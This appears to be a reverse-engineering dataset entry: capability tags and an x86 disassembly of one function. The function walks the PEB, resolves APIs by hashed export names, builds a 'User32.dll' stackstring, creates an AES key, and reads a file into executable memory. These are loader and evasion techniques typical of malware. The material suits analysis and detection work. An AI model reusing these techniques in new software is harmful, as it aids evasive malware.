Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
push ebx
push esi
push edi
push 0x18
pop ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push 6
pop esi
mov eax, dword fs:[eax]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x10], esi
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
add eax, ecx
mov eax, dword [edx + eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov eax, dword fs:[eax]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x10], esi
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
xor esi, esi
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
add eax, ecx
mov eax, dword [edx + eax]
mov eax, dword [eax]
mov eax, dword [eax]
mov edi, dword [eax + 0x18]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov edx, dword [eax + 0x20]
mov ebx, dword [eax + 0x1c]
add edx, edi
mov dword [ebp - 4], edx
add ebx, edi
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x4010df
mov ecx, dword [edx + esi*4]
xor edx, edx
add ecx, edi
mov al, byte [ecx]
test al, al
je 0x4010c4
imul edx, edx, 0xa3
movsx eax, al
add edx, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x4010aa
cmp edx, 0x59bba458
je 0x4010cf
inc esi
cmp esi, dword [ebp - 8]
jae 0x4010df
mov edx, dword [ebp - 4]
jmp 0x40109d
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + esi*2]
mov eax, dword [ebx + eax*4]
add eax, edi
xor ebx, ebx
jmp 0x4010e3
xor ebx, ebx
mov eax, ebx
mov dword [ebp - 0xb4], eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x20], 0x55
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x33
mov byte [ebp - 0x1b], 0x32
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x6c
push ecx
mov byte [ebp - 0x16], bl
call eax
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x94], ecx
inc edx
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x90], ecx
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x8c], edx
push 3
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x74], edx
mov edx, ebx
pop ecx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x70], 0x59bba458
mov dword [ebp - 0x6c], 0xe3d91aa9
mov dword [ebp - 0x68], 0xf24e00a2
mov dword [ebp - 0x64], 0x824fdabf
mov dword [ebp - 0x60], 0xd75da862
mov dword [ebp - 0x5c], 0x5bb12b36
mov dword [ebp - 0x58], 0x8622970c
mov dword [ebp - 0x48], 0x309ba741
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x80], 7
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], ecx
mov esi, eax
lea edi, [ebp - 0x40]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x38], 0
mov edi, ebx
jbe 0x40124c
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
cmp dword [eax + edi*4], 0
je 0x40123c
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov ebx, dword [eax + 0x1c]
add ebx, ecx
mov dword [ebp - 0x30], ebx
mov ebx, dword [eax + 0x20]
add ebx, ecx
mov dword [ebp - 0x4c], ebx
mov ebx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add ebx, ecx
mov dword [ebp - 0x54], ebx
xor ebx, ebx
mov dword [ebp - 0x50], eax
mov esi, ebx
test eax, eax
je 0x40122c
mov eax, dword [ebp - 0x4c]
mov edx, dword [eax + esi*4]
add edx, ecx
mov al, byte [edx]
test al, al
je 0x401221
imul ebx, ebx, 0xa3
movsx eax, al
add ebx, eax
inc edx
mov al, byte [edx]
test al, al
jne 0x401203
mov eax, dword [ebp - 0x3c]
cmp ebx, dword [eax + edi*4]
je 0x401342
inc esi
xor ebx, ebx
cmp esi, dword [ebp - 0x50]
jb 0x4011f5
mov edx, dword [ebp - 0x24]
mov eax, ebx
mov dword [ebp + edx*4 - 0xb4], eax
inc edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], edx
inc edi
cmp edi, dword [ebp - 0x38]
jb 0x4011c0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add eax, 0xc
sub ecx, 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], ecx
jne 0x4011a6
push 0xf0000000
push 0x18
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x6610
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ebx
push pe_nt_image_headers32
push 3
push ebx
push ebx
push 0x80000000
push str.__MACOSX.service
call dword [ebp - 0xa8]
mov edi, eax
cmp edi, 0xffffffff
je 0x40136b
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [ebp - 0xa4]
test eax, eax
je 0x401364
mov eax, dword [ebp - 0x2c]
push 0x40
push 0x1000
inc eax
mov dword [ebp - 8], ebx
push eax
push ebx
call dword [ebp - 0xac]
mov esi, eax
test esi, esi
je 0x401364
mov byte [esi], bl
xorps xmm0, xmm0
movlpd qword [ebp - 0x34], xmm0
cmp dword [ebp - 0x28], ebx
jl 0x40135b
jg 0x401303
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
jbe 0x40135e
mov eax, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebx + esi]
push eax
push edi
call dword [ebp - 0xa0]
test eax, eax
je 0x401364
add ebx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
adc eax, 0
mov dword [ebp - 0xc], eax
cmp eax, dword [ebp - 0x28]
jl 0x40130c
jg 0x40135b
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
jb 0x40130c
jmp 0x40135e
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x30]
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x24]
add eax, ecx
xor ebx, ebx
jmp 0x40122e
mov eax, dword [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x40136b
push edi
call dword [ebp - 0x9c]
pop edi
pop esi
pop ebx
leave
ret